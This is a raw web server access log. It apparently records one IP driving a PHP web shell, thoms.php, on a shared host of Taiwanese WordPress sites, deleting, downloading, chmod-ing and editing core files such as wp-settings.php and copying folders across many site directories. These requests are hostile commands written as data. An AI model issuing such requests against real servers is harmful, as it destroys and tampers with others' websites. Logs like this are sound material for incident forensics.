45.135.193.11 - - [11/Sep/2026:23:25:27 -0400] "GET /thoms.php?chmod=block-patterns&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=block-patterns&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:27 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-admin-bar.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:27 -0400] "GET /thoms.php?del=class-wpdb.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59366 "http://163.245.207.76:443/thoms.php?del=class-wpdb.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:27 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:27 -0400] "GET /thoms.php?chmod=class-wp-application-passwords.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-wp-application-passwords.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:27 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fdefault-filters.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fdefault-filters.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:27 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=icons.php HTTP/1.1" 200 14049 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=icons.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:27 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcategory.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcategory.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:27 -0400] "GET /big-wife.com.tw/wp-includes/json-schema.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:27 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php HTTP/1.1" 200 13290 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:28 -0400] "GET /big-wife.com.tw/wp-includes/sitemaps.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:28 -0400] "GET /thoms.php?chmod=nav-menu-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=nav-menu-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:27 -0400] "GET /thoms.php?dl=revision.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:28 -0400] "GET /thoms.php?chmod=template-canvas.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=template-canvas.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:28 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fstyle-engine&p= HTTP/1.1" 200 12315 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fstyle-engine&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:28 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-customize-panel.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:28 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-recovery-mode-cookie-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:28 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fabilities.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fabilities.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:28 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:28 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=feed-atom-comments.php HTTP/1.1" 200 13944 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=feed-atom-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:28 -0400] "GET /thoms.php?chmod=sitemaps.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=sitemaps.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:28 -0400] "GET /thoms.php?chmod=customize&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=customize&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:28 -0400] "GET /thoms.php?chmod=cache.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=cache.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:28 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcanonical.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcanonical.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:28 -0400] "GET /thoms.php?dl=error-protection.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=error-protection.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:29 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:29 -0400] "GET /thoms.php?dl=post-thumbnail-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59388 "http://163.245.207.76:443/thoms.php?dl=post-thumbnail-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:29 -0400] "GET /thoms.php?del=block-editor.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?del=block-editor.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:29 -0400] "GET /thoms.php?del=block-template-utils.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59402 "http://163.245.207.76:443/thoms.php?del=block-template-utils.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:29 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:29 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-textdomain-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:30 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:30 -0400] "GET /thoms.php?chmod=pomo&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=pomo&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:30 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2FSimplePie HTTP/1.1" 200 13129 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2FSimplePie" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:29 -0400] "GET /thoms.php?dl=class-wp-simplepie-file.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-file.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:30 -0400] "GET /thoms.php?edit=wp-settings.php&p=big-wife.com.tw HTTP/1.1" 200 19229 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:30 -0400] "GET /thoms.php?edit=wp-settings.php&env=ace&p=big-wife.com.tw HTTP/1.1" 200 22851 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:30 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=bestzyx.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:30 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:30 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=bestjudy.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:30 -0400] "GET /thoms.php?del=class-wp-comment.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59373 "http://163.245.207.76:443/thoms.php?del=class-wp-comment.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22025 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:30 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=bft.com.tw HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:30 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11410 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:30 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:30 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=ba-guo.com.tw HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:30 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=beauty-dental.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=besth2o.com.tw HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=bioway88.com.tw HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=biotaiwan.com.tw HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=bodbooks.com.tw HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=bogroup.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=wp-content-20260912023544 HTTP/1.1" 200 11385 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=bfl.com.tw HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=big-wife.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22006 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=bossini.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=broadweb.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=upgrade HTTP/1.1" 200 11377 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=booking-wise2.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=cgi-bin HTTP/1.1" 200 11373 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22004 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=betcity.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p=wp-content HTTP/1.1" 200 11436 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Freadme.html&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Freadme.html&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Freadme.html&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11346 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Freadme.html&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Freadme.html&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Freadme.html&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:32 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 19751 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Freadme.html&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
